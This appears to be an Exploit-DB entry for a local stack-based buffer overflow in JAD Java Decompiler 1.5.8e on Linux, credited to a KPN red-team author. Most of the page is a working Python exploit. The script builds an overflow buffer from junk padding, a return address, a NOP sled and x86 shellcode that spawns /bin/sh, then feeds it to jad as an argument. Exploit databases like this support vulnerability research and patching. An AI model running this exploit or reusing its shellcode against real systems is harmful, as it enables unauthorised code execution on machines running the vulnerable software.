JAD Java Decompiler 1.5.8e - Local Buffer Overflow

EDB-ID:
42076

CVE:
N/A

EDB Verified: ×

Author:
JUAN SACCO

Type:
LOCAL

Exploit: / {}

Platform:
LINUX

Date:
2017-05-26

Vulnerable App:

```
#!/usr/bin/python
# Exploit Author: Juan Sacco <juan.sacco@kpn.com> at KPN Red Team -
http://www.kpn.com
# Developed using Exploit Pack - http://exploitpack.com -
<jsacco@exploitpack.com>
# Tested on: GNU/Linux - Kali 2017.1 Release
#
# Description: JAD ( Java Decompiler ) 1.5.8e-1kali1 and prior is
# prone to a stack-based buffer overflow
# vulnerability because the application fails to perform adequate
# boundary-checks on user-supplied input.
#
# An attacker could exploit this vulnerability to execute arbitrary code in
the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Package details:
# Version: 1.5.8e-1kali1
# Architecture: all
#
# Vendor homepage: http://www.varaneckas.com/jad/
#

import os,subprocess

junk = "\x41" * 8150 # junk to offset
nops = "\x90" * 24 # nops
shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
esp = "\x18\x2e\x0e\x08" # rop call $esp from jad
buffer = junk + esp + nops + shellcode # craft the buffer

try:
   print("[*] JAD 1.5.8 Stack-Based Buffer Overflow by Juan Sacco")
   print("[*] Please wait.. running")
   subprocess.call(["jad", buffer])
except OSError as e:
   if e.errno == os.errno.ENOENT:
       print "JAD  not found!"
   else:
    print "Error executing exploit"
   raise
```

Tags:

Advisory/Source: Link

Databases

Links

Sites

Solutions